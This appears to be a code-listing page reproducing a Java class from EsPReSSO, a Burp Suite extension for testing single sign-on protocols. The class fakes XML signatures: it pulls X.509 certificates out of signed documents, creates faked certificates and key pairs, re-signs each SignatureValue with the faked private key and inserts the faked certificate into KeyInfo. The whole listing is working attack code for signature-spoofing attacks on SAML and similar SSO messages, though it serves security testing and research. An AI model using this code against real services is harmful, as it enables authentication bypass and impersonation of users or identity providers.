de.rub.nds.burp.utilities.attacks.signatureFaking.SignatureFakingOracle.java Source code

Java tutorial

Introduction

Here is the source code for de.rub.nds.burp.utilities.attacks.signatureFaking.SignatureFakingOracle.java

Source

/**
 * EsPReSSO - Extension for Processing and Recognition of Single Sign-On Protocols.
 * Copyright (C) 2015 Tim Guenther and Christian Mainka
 *
 * This program is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation; either version 2 of the License, or (at your option) any later
 * version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 *
 * You should have received a copy of the GNU General Public License along with
 * this program; if not, write to the Free Software Foundation, Inc., 51
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */
package de.rub.nds.burp.utilities.attacks.signatureFaking;

import de.rub.nds.burp.utilities.Logging;
import de.rub.nds.burp.utilities.attacks.signatureFaking.exceptions.CertificateHandlerException;
import de.rub.nds.burp.utilities.attacks.signatureFaking.exceptions.SignatureFakingException;
import de.rub.nds.burp.utilities.attacks.signatureFaking.helper.CertificateHandler;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Security;
import java.util.LinkedList;
import java.util.List;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import org.apache.commons.codec.binary.Base64;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import wsattacker.library.xmlutilities.dom.DomUtilities;
import wsattacker.library.xmlutilities.namespace.NamespaceConstants;

/** 
 * Creates faked signatures by issuing a new certificate and resigning the original signature value
 * 
 * @author Juraj Somorovsky - juraj.somorovsky@rub.de
 */
public class SignatureFakingOracle {

    private Document doc;

    private boolean replaceAll;

    private List<Node> signatureValueElements;

    private List<Node> keyInfoElements;

    private List<String> certificates;

    private List<CertificateHandler> certHandlers;

    /**
     * Creates SignatureWrappingOracle, parses the document and searches for all the SignatureValue and KeyInfo elements
     * 
     * @param document
     * @param replaceAllcertificates
     * @throws SignatureFakingException
     */
    public SignatureFakingOracle(final Document document, final boolean replaceAllcertificates)
            throws SignatureFakingException {
        Security.addProvider(new BouncyCastleProvider());
        signatureValueElements = new LinkedList<Node>();
        keyInfoElements = new LinkedList<Node>();
        certificates = new LinkedList<String>();
        certHandlers = new LinkedList<CertificateHandler>();
        doc = document;
        replaceAll = replaceAllcertificates;
        crawlSignatureElements();
        Logging.getInstance().log(getClass(), "found " + signatureValueElements.size() + " SignatureValue elements",
                Logging.DEBUG);
        crawlKeyInfoElements();
        Logging.getInstance().log(getClass(),
                "found " + keyInfoElements.size() + " KeyInfo elements containing X509 certificates",
                Logging.DEBUG);
    }

    /**
     * Creates fake signatures
     * 
     * @throws SignatureFakingException
     */
    public void fakeSignatures() throws SignatureFakingException {
        try {
            createFakedCertificates();
            for (int i = 0; i < signatureValueElements.size(); i++) {
                fakeSignature(i);
            }

        } catch (CertificateHandlerException e) {
            throw new SignatureFakingException(e);
        }
    }

    public void fakeSignature(int i) throws CertificateHandlerException, SignatureFakingException {
        if (signatureValueElements.size() != certHandlers.size()) {
            createFakedCertificates();
        }
        String signature = signatureValueElements.get(i).getTextContent();
        CertificateHandler ch = certHandlers.get(i);
        byte[] newSignature = resignValue(Base64.decodeBase64(signature), ch);
        signatureValueElements.get(i).setTextContent(new String(Base64.encodeBase64(newSignature)));
        appendCertificate(keyInfoElements.get(i), ch.getFakedCertificateString());
    }

    private void createFakedCertificates() throws CertificateHandlerException {
        for (String cert : certificates) {
            CertificateHandler ch = new CertificateHandler(cert);
            ch.createFakedCertificate();
            certHandlers.add(ch);
        }
    }

    /**
     * Crawls all the collected KeyInfo elements and extracts certificates
     */
    private void crawlKeyInfoElements() {
        for (Node ki : keyInfoElements) {
            List<Element> l = DomUtilities.findChildren(ki, "X509Certificate", NamespaceConstants.URI_NS_DS, true);
            if (l.size() > 0) {
                Node x509cert = l.get(0);
                if (x509cert != null && x509cert.getLocalName().equals("X509Certificate")) {
                    certificates.add(x509cert.getTextContent());
                }
            }
        }
    }

    private void crawlSignatureElements() throws SignatureFakingException {
        // TODO replace with DOMUtilities
        NodeList nl = getSignatureElements();
        for (int i = 0; i < nl.getLength(); i++) {
            Node n = nl.item(i);
            NodeList children = n.getChildNodes();
            for (int j = 0; j < children.getLength(); j++) {
                Node current = children.item(j);
                if (current.getNodeType() == Node.ELEMENT_NODE) {
                    if (current.getLocalName().equals("SignedInfo")) {
                        Element signatureMethod = DomUtilities
                                .findChildren(current, "SignatureMethod", NamespaceConstants.URI_NS_DS, false)
                                .get(0);
                        if (signatureMethod != null && (!isSignatureMethodSupported(signatureMethod))) {
                            throw new SignatureFakingException("Signature " + "Algorithm not yet supported");
                        }
                    } else if (current.getLocalName().equals("SignatureValue")) {
                        signatureValueElements.add(current);
                    } else if (current.getLocalName().equals("KeyInfo")) {
                        keyInfoElements.add(current);
                    }
                }
            }
        }
    }

    private boolean isSignatureMethodSupported(Node signatureMethodElement) {
        NamedNodeMap nl = signatureMethodElement.getAttributes();
        Node n = nl.getNamedItem("Algorithm");
        if (n != null) {
            String algorithm = n.getTextContent();
            if (algorithm.contains("rsa-sha")) {
                return true;
            }
        }
        return false;
    }

    private void appendCertificate(Node keyInfo, String certificate) {
        String prefix = keyInfo.getPrefix();
        if (replaceAll == true) {
            keyInfo.setTextContent("");
            if (prefix == null) {
                prefix = "";
            } else {
                prefix = prefix + ":";
            }
            Node data = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS,
                    prefix + "X509Data");
            keyInfo.appendChild(data);
            Node cert = keyInfo.getOwnerDocument().createElementNS(NamespaceConstants.URI_NS_DS,
                    prefix + "X509Certificate");
            data.appendChild(cert);
            cert.setTextContent(certificate);
        } else {
            List<Element> l = DomUtilities.findChildren(keyInfo, "X509Certificate", NamespaceConstants.URI_NS_DS,
                    true);
            Node cert = l.get(0);
            cert.setTextContent(certificate);
        }
        Logging.getInstance().log(getClass(),
                "Appending Certificate \r\n" + certificate + "\r\nto the" + prefix + "X509Certificate element",
                Logging.DEBUG);
    }

    private byte[] resignValue(byte[] signatureValue, CertificateHandler ch) throws SignatureFakingException {
        PrivateKey privKey = ch.getFakedKeyPair().getPrivate();
        PublicKey pubKey = ch.getOriginalPublicKey();
        String alg = ch.getFakedCertificate().getSigAlgName();
        if (alg.contains("RSA")) {
            try {
                Cipher cipher = Cipher.getInstance("RSA/None/NoPadding");
                cipher.init(Cipher.ENCRYPT_MODE, pubKey);
                byte[] unsigend = cipher.doFinal(signatureValue);

                cipher = Cipher.getInstance("RSA/None/NoPadding");
                cipher.init(Cipher.DECRYPT_MODE, privKey);
                Logging.getInstance().log(getClass(), "New Signature value computed", Logging.DEBUG);
                return cipher.doFinal(unsigend);
            } catch (BadPaddingException | IllegalBlockSizeException | InvalidKeyException
                    | NoSuchAlgorithmException | NoSuchPaddingException e) {
                throw new SignatureFakingException(e);
            }
        } else {
            return null;
        }
    }

    private NodeList getSignatureElements() {
        return doc.getElementsByTagNameNS(NamespaceConstants.URI_NS_DS, "Signature");
    }

    public Document getDocument() {
        return doc;
    }
}